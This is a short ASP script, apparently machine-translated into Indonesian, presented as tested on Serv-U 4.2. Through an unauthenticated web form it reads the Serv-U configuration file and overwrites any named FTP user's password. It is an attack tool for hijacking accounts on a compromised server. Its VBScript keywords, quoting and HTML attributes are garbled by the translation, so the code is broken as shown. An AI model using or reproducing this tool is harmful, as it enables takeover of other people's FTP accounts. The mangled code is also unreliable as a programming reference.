Kode berikut diuji untuk bekerja di SERV-U 4.2
<%
'| ########################### |
'| Survivor QQ: 54883661 |
'| Mail: [email protected] |
'| ########################### |
inipath = d:/file program/serv-u/servudaemon.ini 'Atur jalur file servudaemon.ini
user = [user = & request (user) & | 1]
pass = password = & request (pass)
kunci = permintaan (kunci)
Jika kunci <> maka
redup, userlong, passlong, pl, ss
Atur fso = createObject (scripting.filesystemObject)
Setel os = fso.opentextFile (inipath, 1) 'baca servudaemon.ini
s = os.readall
os.close
userlong = instr (s, user)+len (pengguna) +2
untuk i = userlong ke userlong+20
Passlong = Passlong+1
Jika ASC (Mid (S, I, 1)) = 13 lalu
keluar untuk
akhiri jika
Berikutnya
PL = Mid (S, UserLong, Passlong-1)
SS = REPLACE (S, USER & CHR (13) & CHR (10) & PL, USER & CHR (13) & CHR (10) & Pass)
Setel os = fso.createTextFile (inipath, true) 'Tulis ke servudaemon.ini
OS.Write SS
os.close
akhiri jika
%>
<Metode form = post>
Nama pengguna: <input type = name teks = pengguna> <br>
Kata sandi baru: <input type = name teks = pass> <br>
<input type = kirimkan nama = nilai tombol = ubah> <br>
</form>